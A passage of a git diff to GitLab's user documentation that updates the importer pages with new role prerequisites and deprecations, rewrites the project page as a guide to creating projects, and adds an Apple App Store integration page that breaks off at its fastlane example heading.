## Import your Bitbucket repositories
-Prerequisite:
+Prerequisites:
-- An administrator must have enabled the **Bitbucket Server** in
- **Admin > Settings > General > Visibility and access controls > Import sources**.
+- An administrator must enable **Bitbucket Server** in **Admin > Settings > General > Visibility and access controls > Import sources**.
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
To import your Bitbucket repositories:
diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md
index f6395fd9234..08ee4c70dda 100644
--- a/doc/user/project/import/fogbugz.md
+++ b/doc/user/project/import/fogbugz.md
@@ -14,6 +14,11 @@ The importer imports all of your cases and comments with the original
case numbers and timestamps. You can also map FogBugz users to GitLab
users.
+Prerequisite:
+
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
To import your project from FogBugz:
1. Sign in to GitLab.
diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md
index 46e6b6d377d..fb64c902b38 100644
--- a/doc/user/project/import/gitea.md
+++ b/doc/user/project/import/gitea.md
@@ -6,11 +6,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Import your project from Gitea to GitLab **(FREE)**
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken.
+
Import your projects from Gitea to GitLab with minimal effort.
NOTE:
This requires Gitea `v1.0.0` or later.
+Prerequisite:
+
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
The Gitea importer can import:
- Repository description
@@ -30,10 +37,6 @@ in your GitLab instance. This means the project creator (usually the user that
started the import process) is set as the author. A reference, however, is kept
on the issue about the original Gitea author.
-The importer creates any new namespaces (groups) if they don't exist. If the
-namespace is taken, the repository is imported under the user's namespace
-that started the import process.
-
## Import your Gitea repositories
The importer page is visible when you create a new project.
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index c1297cbf554..da3637541d9 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -7,6 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Import your project from GitHub to GitLab **(FREE)**
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken.
+
You can import your GitHub repositories:
- From either GitHub.com or GitHub Enterprise.
@@ -22,6 +24,9 @@ If you are importing to a self-managed GitLab instance, you can use the
[GitHub Rake task](../../../administration/raketasks/github_import.md) instead. This allows you to import projects
without the constraints of a [Sidekiq](../../../development/sidekiq/index.md) worker.
+NOTE:
+If you are importing a project using the GitHub Rake task, GitLab still creates namespaces or groups that don't exist.
+
If you are importing from GitHub Enterprise to a self-managed GitLab instance:
- You must first enable [GitHub integration](../../../integration/github.md).
@@ -40,9 +45,7 @@ When importing projects:
- If a user referenced in the project is not found in the GitLab database, the project creator is set as the author and
assignee. The project creator is usually the user that initiated the import process. A note on the issue mentioning the
original GitHub author is added.
-- The importer creates any new namespaces (or groups) if they do not exist, or, if the namespace is taken, the
- repository is imported under the namespace of the user who initiated the import process. The namespace or repository
- name can also be edited, with the proper permissions.
+- You can change the target namespace and target repository name before you import.
- The importer also imports branches on forks of projects related to open pull requests. These branches are
imported with a naming scheme similar to `GH-SHA-username/pull-request-number/fork-name/branch`. This may lead to
a discrepancy in branches compared to those of the GitHub repository.
@@ -54,6 +57,9 @@ For an overview of the import process, see the video [Migrating from GitHub to G
## Prerequisites
+At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
When issues and pull requests are being imported, the importer attempts to find
their GitHub authors and assignees in the database of the GitLab instance. Pull requests are called _merge requests_ in
GitLab.
@@ -68,6 +74,8 @@ GitLab content imports that use GitHub accounts require that the GitHub public-f
all comments and contributions are properly mapped to the same user in GitLab. GitHub Enterprise does not require this
field to be populated so you may have to add it on existing accounts.
+See also [Branch protection rules and project settings](#branch-protection-rules-and-project-settings) for additional prerequisites for those imports.
+
## Import your GitHub repository into GitLab
### Use the GitHub integration
@@ -242,11 +250,15 @@ When they are imported, supported GitHub branch protection rules are mapped to e
| GitHub rule | GitLab rule | Introduced in |
| :---------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------ |
-| **Require conversation resolution before merging** for the project's default branch | **All threads must be resolved** [project setting](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/371110) |
-| **Require a pull request before merging** | **No one** option in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370951) |
-| **Require signed commits** for the project's default branch | **Reject unsigned commits** GitLab [push rule](../repository/push_rules.md#prevent-unintended-consequences) **(PREMIUM)** | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370949) |
-| **Allow force pushes - Everyone** | **Allowed to force push** [branch protection setting](../protected_branches.md#allow-force-push-on-a-protected-branch) | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/370943) |
-| **Require a pull request before merging - Require review from Code Owners** | **Require approval from code owners** [branch protection setting](../protected_branches.md#require-code-owner-approval-on-a-protected-branch) **(PREMIUM)** | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/376683) |
+| **Require conversation resolution before merging** for the project's default branch | **All threads must be resolved** [project setting](../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/371110) |
+| **Require a pull request before merging** | **No one** option in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370951) |
+| **Require signed commits** for the project's default branch | **Reject unsigned commits** GitLab [push rule](../repository/push_rules.md#prevent-unintended-consequences) **(PREMIUM)** | [GitLab 15.5](https://gitlab.com/gitlab-org/gitlab/-/issues/370949) |
+| **Allow force pushes - Everyone** | **Allowed to force push** [branch protection setting](../protected_branches.md#allow-force-push-on-a-protected-branch) | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/370943) |
+| **Require a pull request before merging - Require review from Code Owners** | **Require approval from code owners** [branch protection setting](../protected_branches.md#require-code-owner-approval-on-a-protected-branch) **(PREMIUM)** | [GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/issues/376683) |
+| **Require a pull request before merging - Allow specified actors to bypass required pull requests** (1) | List of users in the **Allowed to push** list of [branch protection settings](../protected_branches.md#configure-a-protected-branch) **(PREMIUM)**. Without a Premium license, the list of users that are allowed to push is limited to roles. | [GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/384939) |
+
+1. To successfully import the **Require a pull request before merging - Allow specified actors to bypass required pull requests** rule, you must add to the parent group in GitLab
+ the users that are allowed to bypass required pull requests before you begin importing.
Mapping GitHub rule **Require status checks to pass before merging** to
[external status checks](../merge_requests/status_checks.md) was considered in issue
diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md
index 795cb964423..c00709d9697 100644
--- a/doc/user/project/import/gitlab_com.md
+++ b/doc/user/project/import/gitlab_com.md
@@ -5,7 +5,12 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Import a project from GitLab.com to your private GitLab instance **(FREE)**
+# Import a project from GitLab.com to your self-managed GitLab instance (deprecated) **(FREE)**
+
+WARNING:
+The GitLab.com importer was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108502) in GitLab 15.8
+and will be removed in GitLab 16.0. To import GitLab projects from GitLab.com to a self-managed GitLab instance use
+[migrating groups and projects by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended).
You can import your existing GitLab.com projects to your GitLab instance.
diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md
index 208bce90453..3df6a543960 100644
--- a/doc/user/project/import/index.md
+++ b/doc/user/project/import/index.md
@@ -15,17 +15,22 @@ If you want to bring existing projects to GitLab or copy GitLab projects to a di
- Between a self-managed instance and GitLab.com in both directions.
- In the same GitLab instance.
-For any type of source and target, you can migrate projects:
+Prerequisite:
-- As part of a [GitLab group migration](../../group/import/index.md). You can't migrate only chosen projects,
- but you can migrate many projects at once within a group.
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
+For any type of source and target, you can migrate GitLab projects:
+
+- When [migrating groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended), which allows you to migrate all
+ projects in a group at once. Migrating projects by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features). The feature is not ready
+ for production use.
- Using [file exports](../settings/import_export.md). With this method you can migrate projects one by one. No network
connection between instances is required.
If you only need to migrate Git repositories, you can [import each project by URL](repo_by_url.md). However, you can't
import issues and merge requests this way. To retain metadata like issues and merge requests, either:
-- [Migrate projects with groups](../../group/import/index.md).
+- [Migrate projects with groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). This feature is in [Beta](../../../policy/alpha-beta-support.md#beta-features). It is not ready for production use.
- Use [file exports](../settings/import_export.md) to import projects.
Keep in mind the limitations of [migrating using file exports](../settings/import_export.md#items-that-are-exported).
@@ -45,7 +50,6 @@ You can import projects from:
- [GitLab.com](gitlab_com.md)
- [Gitea](gitea.md)
- [Perforce](perforce.md)
-- [From SVN](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Git-as-a-Client)
- [TFVC](tfvc.md)
- [Repository by URL](repo_by_url.md)
- [Uloading a manifest file (AOSP)](manifest.md)
@@ -57,6 +61,13 @@ repository is too large, the import can timeout.
You can then [connect your external repository to get CI/CD benefits](../../../ci/ci_cd_for_external_repos/index.md).
+## Import from Subversion
+
+GitLab can not automatically migrate Subversion repositories to Git. Converting Subversion repositories to Git can be difficult, but several tools exist including:
+
+- [`git svn`](https://git-scm.com/book/en/v2/Git-and-Other-Systems-Migrating-to-Git), for very small and simple repositories.
+- [`reposurgeon`](http://www.catb.org/~esr/reposurgeon/repository-editing.html), for larger and more complex repositories.
+
## Migrate using the API
To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/index.md).
@@ -101,8 +112,8 @@ To view project import history:
1. Select **History** in the upper right corner.
1. If there are any errors for a particular import, you can see them by selecting **Details**.
-The history also includes projects created from [built-in](../working_with_projects.md#create-a-project-from-a-built-in-template)
-or [custom](../working_with_projects.md#create-a-project-from-a-built-in-template)
+The history also includes projects created from [built-in](../index.md#create-a-project-from-a-built-in-template)
+or [custom](../index.md#create-a-project-from-a-built-in-template)
templates. GitLab uses [import repository by URL](repo_by_url.md)
to create a new project from a template.
diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md
index ea26613639d..c125102b0c9 100644
--- a/doc/user/project/import/manifest.md
+++ b/doc/user/project/import/manifest.md
@@ -17,11 +17,10 @@ repositories like the Android Open Source Project (AOSP).
## Requirements
-GitLab must be using PostgreSQL for its database, since
-[subgroups](../../group/subgroups/index.md) are needed for the manifest import
-to work.
-
-Read more about the [database requirements](../../../install/requirements.md#database).
+- GitLab must use PostgreSQL for its database, because [subgroups](../../group/subgroups/index.md) are needed for the manifest import
+ to work. Read more about the [database requirements](../../../install/requirements.md#database).
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
## Manifest format
diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md
index 49f12ca2ba6..09e7543bc4a 100644
--- a/doc/user/project/import/phabricator.md
+++ b/doc/user/project/import/phabricator.md
@@ -5,11 +5,15 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Import Phabricator tasks into a GitLab project **(FREE SELF)**
+# Import Phabricator tasks into a GitLab project (deprecated) **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0.
WARNING:
+The Phabricator task importer was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106369) in GitLab 15.7
+and will be removed in GitLab 16.0.
+
+WARNING:
The Phabricator task importer is in
[beta](../../../policy/alpha-beta-support.md#beta-features) and is
[**not** complete](https://gitlab.com/gitlab-org/gitlab/-/issues/284406). It imports
diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md
index d6f4f862b95..93e3991ba19 100644
--- a/doc/user/project/import/repo_by_url.md
+++ b/doc/user/project/import/repo_by_url.md
@@ -7,6 +7,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Import project from repository by URL **(FREE)**
+Prerequisite:
+
+- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was
+ [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0.
+
You can import your existing repositories by providing the Git URL:
1. In GitLab, on the top bar, select **Main menu > Projects > View all projects**.
diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md
index 6730ef862e6..c9abc0f459d 100644
--- a/doc/user/project/import/svn.md
+++ b/doc/user/project/import/svn.md
@@ -1,5 +1,5 @@
---
-redirect_to: 'index.md'
+redirect_to: 'index.md#import-from-subversion'
remove_date: '2023-03-15'
---
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index 78a6e8d565f..08caa62bcb2 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -1,161 +1,186 @@
---
stage: Manage
-group: Workspace
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+group: Organization
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments"
---
-# Organize work with projects **(FREE)**
-
-In GitLab, you can create projects to host
-your codebase. You can also use projects to track issues, plan work,
-collaborate on code, and continuously build, test, and use
-built-in CI/CD to deploy your app.
-
-Projects can be available [publicly, internally, or privately](../public_access.md).
-GitLab does not limit the number of private projects you can create.
-
-## Project features
-
-Projects include the following [features](https://about.gitlab.com/features/):
-
-**Repositories:**
-
-- [Issue tracker](issues/index.md): Discuss implementations with your team.
- - [Issue boards](issue_board.md): Organize and prioritize your workflow.
- - [Multiple issue boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (issue boards) for a project.
-- [Repositories](repository/index.md): Host your code in a fully-integrated platform.
- - [Branches](repository/branches/index.md): Use Git branching strategies to
- collaborate on code.
- - [Protected branches](protected_branches.md): Prevent collaborators
- from changing history or pushing code without review.
- - [Protected tags](protected_tags.md): Control who has
- permission to create tags and prevent accidental updates or deletions.
- - [Repository mirroring](repository/mirror/index.md)
- - [Signing commits](repository/gpg_signed_commits/index.md): Use GNU Privacy Guard (GPG) to sign your commits.
- - [Deploy tokens](deploy_tokens/index.md): Manage access to the repository and Container Registry.
-- [Web IDE](web_ide/index.md)
-- [CVE ID Requests](../application_security/cve_id_request.md): Request a CVE identifier to track a
- vulnerability in your project.
-
-**Issues and merge requests:**
-
-- [Issue tracker](issues/index.md): Discuss implementations with your team.
- - [Issue boards](issue_board.md): Organize and prioritize your workflow.
- - [Multiple issue boards](issue_board.md#multiple-issue-boards): Create team-specific workflows (issue boards) for a project.
-- [Merge requests](merge_requests/index.md): Apply a branching
- strategy and get reviewed by your team.
- - [Merge request approvals](merge_requests/approvals/index.md): Ask for approval before
- implementing a change.
- - [Fix merge conflicts from the UI](merge_requests/conflicts.md): View Git diffs from the GitLab UI.
- - [Review Apps](../../ci/review_apps/index.md): By branch, preview the results
- of the changes proposed in a merge request.
-- [Labels](labels.md): Organize issues and merge requests by labels.
-- [Time Tracking](time_tracking.md): Track time estimated and
- spent on issues and merge requests.
-- [Milestones](milestones/index.md): Work toward a target date.
-- [Description templates](description_templates.md): Define context-specific
- templates for issue and merge request description fields.
-- [Slash commands (quick actions)](quick_actions.md): Create text shortcuts for
- common actions.
-- [Autocomplete characters](autocomplete_characters.md): Autocomplete
- references to users, groups, issues, merge requests, and other GitLab
- elements.
-- [Web IDE](web_ide/index.md)
-
-**GitLab CI/CD:**
-
-- [GitLab CI/CD](../../ci/index.md): Use the built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool.
- - [Container Registry](../packages/container_registry/index.md): Build and push Docker
- images.
- - [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD
- to automatically set up your app's deployment.
- - [Enable and disable GitLab CI/CD](../../ci/enable_or_disable_ci.md)
- - [Pipelines](../../ci/pipelines/index.md): Configure and visualize
- your GitLab CI/CD pipelines from the UI.
- - [Scheduled Pipelines](../../ci/pipelines/schedules.md): Schedule a pipeline
- to start at a chosen time.
- - [Pipeline Graphs](../../ci/pipelines/index.md#visualize-pipelines): View your
- pipeline from the UI.
- - [Job artifacts](../../ci/pipelines/job_artifacts.md): Define,
- browse, and download job artifacts.
- - [Pipeline settings](../../ci/pipelines/settings.md): Set up Git strategy (how jobs fetch your repository),
- timeout (the maximum amount of time a job can run), custom path for `.gitlab-ci.yml`, test coverage parsing, pipeline visibility, and more.
- - [Kubernetes cluster integration](../infrastructure/clusters/index.md): Connect your GitLab project
- with a Kubernetes cluster.
- - [Feature Flags](../../operations/feature_flags.md): Ship different features
- by dynamically toggling functionality.
-- [GitLab Pages](pages/index.md): Build, test, and deploy your static
- website.
-
-**Other features:**
-
-- [Wiki](wiki/index.md): Document your GitLab project in an integrated Wiki.
-- [Snippets](../snippets.md): Store, share and collaborate on code snippets.
-- [Value Stream Analytics](../analytics/value_stream_analytics.md): Review your development lifecycle.
-- [Insights](insights/index.md): Configure the insights that matter for your projects.
-- [Security Dashboard](../application_security/security_dashboard/index.md)
-- [Syntax highlighting](highlighting.md): Customize
- your code blocks, overriding the default language choice.
-- [Badges](badges.md): Add an image to the **Project information** page.
-- [Releases](releases/index.md): Take a snapshot of
- the source, build output, metadata, and artifacts
- associated with a released version of your code.
-- [Package Registry](../packages/package_registry/index.md): Publish and install packages.
-- [Code owners](code_owners.md): Specify code owners for specific files.
-- [License Compliance](../compliance/license_compliance/index.md): Approve and deny licenses for projects.
-- [Dependency List](../application_security/dependency_list/index.md): View project dependencies.
-- [Requirements](requirements/index.md): Create criteria to check your products against.
-- [Code Intelligence](code_intelligence.md): Navigate code.
-
-## Project integrations
-
-[Integrate your project](integrations/index.md) with Jira, Mattermost,
-Kubernetes, Slack, and a lot more.
-
-## Import or export a project
-
-- [Import a project](import/index.md) from:
- - [GitHub to GitLab](import/github.md)
- - [Bitbucket to GitLab](import/bitbucket.md)
- - [Gitea to GitLab](import/gitea.md)
- - [FogBugz to GitLab](import/fogbugz.md)
-- [Export a project from GitLab](settings/import_export.md#export-a-project-and-its-data)
-- [Importing and exporting projects between GitLab instances](settings/import_export.md)
-
-## GitLab Workflow - VS Code extension
-
-To avoid switching from the GitLab UI and VS Code while working in GitLab repositories, you can integrate
-the [VS Code](https://code.visualstudio.com/) editor with GitLab through the
-[GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).
-
-To review or contribute to the extension's code, visit [its codebase in GitLab](https://gitlab.com/gitlab-org/gitlab-vscode-extension/).
-
-## Project APIs
-
-There are numerous [APIs](../../api/index.md) to use with your projects:
-
-- [Badges](../../api/project_badges.md)
-- [Clusters](../../api/project_clusters.md)
-- [Threads](../../api/discussions.md)
-- [General](../../api/projects.md)
-- [Import/export](../../api/project_import_export.md)
-- [Issue board](../../api/boards.md)
-- [Labels](../../api/labels.md)
-- [Markdown](../../api/markdown.md)
-- [Merge requests](../../api/merge_requests.md)
-- [Milestones](../../api/milestones.md)
-- [Services](../../api/integrations.md)
-- [Snippets](../../api/project_snippets.md)
-- [Templates](../../api/project_templates.md)
-- [Traffic](../../api/project_statistics.md)
-- [Variables](../../api/project_level_variables.md)
-- [Aliases](../../api/project_aliases.md)
-- [DORA4 Analytics](../../api/dora/metrics.md)
-
-## DORA4 analytics overview
-
-Project details include the following analytics:
-
-- Deployment Frequency
-
-For more information, see [DORA4 Project Analytics API](../../api/dora/metrics.md).
+# Create a project **(FREE)**
+
+You can create a project in many ways in GitLab.
+
+## Create a blank project
+
+To create a blank project:
+
+1. On the top bar, select **Main menu > Projects > View all projects**.
+1. On the right of the page, select **New project**.
+1. Select **Create blank project**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You cannot use special characters at
+ the start or end of a project name.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project deployment target (optional)** field, select your project's deployment target.
+ This information helps GitLab better understand its users and their deployment requirements.
+ - To modify the project's [viewing and access rights](../public_access.md) for
+ users, change the **Visibility Level**.
+ - To create README file so that the Git repository is initialized, has a default branch, and
+ can be cloned, select **Initialize repository with a README**.
+ - To analyze the source code in the project for known security vulnerabilities,
+ select **Enable Static Application Security Testing (SAST)**.
+1. Select **Create project**.
+
+## Create a project from a built-in template
+
+A built-in project template populates a new project with files to get you started.
+Built-in templates are sourced from the following groups:
+
+- [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
+- [`pages`](https://gitlab.com/pages)
+
+Anyone can [contribute a built-in template](../../development/project_templates.md).
+
+To create a project from a built-in template:
+
+1. On the top bar, select **Main menu > Projects > View all projects**.
+1. On the right of the page, select **New project**.
+1. Select **Create from template**.
+1. Select the **Built-in** tab.
+1. From the list of templates:
+ - To view a preview of the template, select **Preview**.
+ - To use a template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You cannot use special characters at
+ the start or end of a project name.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project description (optional)** field, enter the description of your project's dashboard.
+ - To modify the project's [viewing and access rights](../public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Create a project from a custom template **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in GitLab 11.2.
+
+Custom project templates are available at:
+
+- The [instance-level](../../user/admin_area/custom_project_templates.md)
+- The [group-level](../../user/group/custom_project_templates.md)
+
+1. On the top bar, select **Main menu > Projects > View all projects**.
+1. On the right of the page, select **New project**.
+1. Select **Create from template**.
+1. Select the **Instance** or **Group** tab.
+1. From the list of templates:
+ - To view a preview of the template, select **Preview**.
+ - To use a template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You cannot use special characters at
+ the start or end of a project name.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - The description of your project's dashboard in the **Project description (optional)** field.
+ - To modify the project's [viewing and access rights](../public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Create a project from the HIPAA Audit Protocol template **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10
+
+The HIPAA Audit Protocol template contains issues for audit inquiries in the
+HIPAA Audit Protocol published by the U.S Department of Health and Human Services.
+
+To create a project from the HIPAA Audit Protocol template:
+
+1. On the top bar, select **Main menu > Projects > View all projects**.
+1. On the right of the page, select **New project**.
+1. Select **Create from template**.
+1. Select the **Built-in** tab.
+1. Locate the **HIPAA Audit Protocol** template:
+ - To view a preview of the template, select **Preview**.
+ - To use the template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You cannot use special characters at
+ the start or end of a project name.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project description (optional)** field, enter the description of your project's dashboard.
+ - To modify the project's [viewing and access rights](../public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Create a new project with Git push
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5.
+
+Use `git push` to push a local project repository to GitLab. After you push a repository,
+GitLab creates your project in your chosen namespace.
+
+You cannot use `git push` to create projects with project paths that:
+
+- Have previously been used.
+- Have been [renamed](settings/index.md#rename-a-repository).
+
+Previously used project paths have a redirect. The redirect causes push attempts to redirect requests
+to the renamed project location, instead of creating a new project. To create a new project for a previously
+used or renamed project, use the [UI](#create-a-project) or the [Projects API](../../api/projects.md#create-project).
+
+Prerequisites:
+
+- To push with SSH, you must have [an SSH key](../ssh.md) that is
+ [added to your GitLab account](../ssh.md#add-an-ssh-key-to-your-gitlab-account).
+- You must have permission to add new projects to a namespace. To check if you have permission:
+
+ 1. On the top bar, select **Main menu > Groups** and find your group.
+ 1. Confirm that **New project** is visible in the upper right
+ corner. Contact your GitLab
+ administrator if you require permission.
+
+To push your repository and create a project:
+
+1. Push with SSH or HTTPS:
+ - To push with SSH:
+
+ ```shell
+ git push --set-upstream git@gitlab.example.com:namespace/myproject.git master
+ ```
+
+ - To push with HTTPS:
+
+ ```shell
+ git push --set-upstream https://gitlab.example.com/namespace/myproject.git master
+ ```
+
+ - For `gitlab.example.com`, use the domain name of the machine that hosts your Git repository.
+ - For `namespace`, use the name of your [namespace](../namespace/index.md).
+ - For `myproject`, use the name of your project.
+ - Optional. To export existing repository tags, append the `--tags` flag to your `git push` command.
+1. Optional. To configure the remote:
+
+ ```shell
+ git remote add origin https://gitlab.example.com/namespace/myproject.git
+ ```
+
+When the push completes, GitLab displays the message:
+
+```shell
+remote: The private project namespace/myproject was created.
+```
+
+To view your new project, go to `https://gitlab.example.com/namespace/myproject`.
+Your project's visibility is set to **Private** by default. To change project visibility, adjust your
+[project's settings](../public_access.md#change-project-visibility).
+
+## Related topics
+
+- For a list of words that you cannot use as project names, see
+ [reserved project and group names](../../user/reserved_names.md).
+- For a list of characters that you cannot use in project and group names, see
+ [limitations on project and group names](../../user/reserved_names.md#limitations-on-project-and-group-names).
+- [Manage projects](working_with_projects.md).
diff --git a/doc/user/project/integrations/apple_app_store.md b/doc/user/project/integrations/apple_app_store.md
new file mode 100644
index 00000000000..62b25bf8191
--- /dev/null
+++ b/doc/user/project/integrations/apple_app_store.md
@@ -0,0 +1,59 @@
+---
+stage: Manage
+group: Integrations
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# Apple App Store integration **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `apple_app_store_integration`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `apple_app_store_integration`. On GitLab.com, this feature is not available.
+
+The Apple App Store integration makes it easy to configure your CI/CD pipelines to connect to [App Store Connect](https://appstoreconnect.apple.com) to build and release apps for iOS, iPadOS, macOS, tvOS, and watchOS.
+
+The integration is designed to be able to work out of the box with [fastlane](http://fastlane.tools/), but can be used with other build tools as well.
+
+## Prerequisites
+
+An Apple ID enrolled in the [Apple Developer Program](https://developer.apple.com/programs/enroll/) is required to enable this integration.
+
+## Configure GitLab
+
+GitLab supports enabling the Apple App Store integration at the project level. Complete these steps in GitLab:
+
+1. In the Apple App Store Connect portal, generate a new private key for your project by following [these instructions](https://developer.apple.com/documentation/appstoreconnectapi/creating_api_keys_for_app_store_connect_api).
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Integrations**.
+1. Select **Apple App Store**.
+1. Turn on the **Active** toggle under **Enable Integration**.
+1. Provide the Apple App Store Connect configuration information:
+ - **Issuer ID**: The Apple App Store Connect Issuer ID can be found in the *Keys* section under *Users and Access* the Apple App Store Connect portal.
+ - **Key ID**: The Key ID of the new private key that was just generated.
+ - **Private Key**: The Private Key that was just generated. Note: you are only be able to download this key one time.
+
+1. Select **Save changes**.
+
+After the Apple App Store integration is activated:
+
+- The global variables `$APP_STORE_CONNECT_API_KEY_ISSUER_ID`, `$APP_STORE_CONNECT_API_KEY_KEY_ID`, and `$APP_STORE_CONNECT_API_KEY_KEY` are created for CI/CD use.
+- `$APP_STORE_CONNECT_API_KEY_KEY` contains the Base64 encoded Private Key.
+
+## Security considerations
+
+### CI/CD variable security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables, including
+`$APP_STORE_CONNECT_API_KEY_KEY`, and send them to a third-party server. For more details, see
+[CI/CD variable security](../../../ci/variables/index.md#cicd-variable-security).
+
+## fastlane Example
+
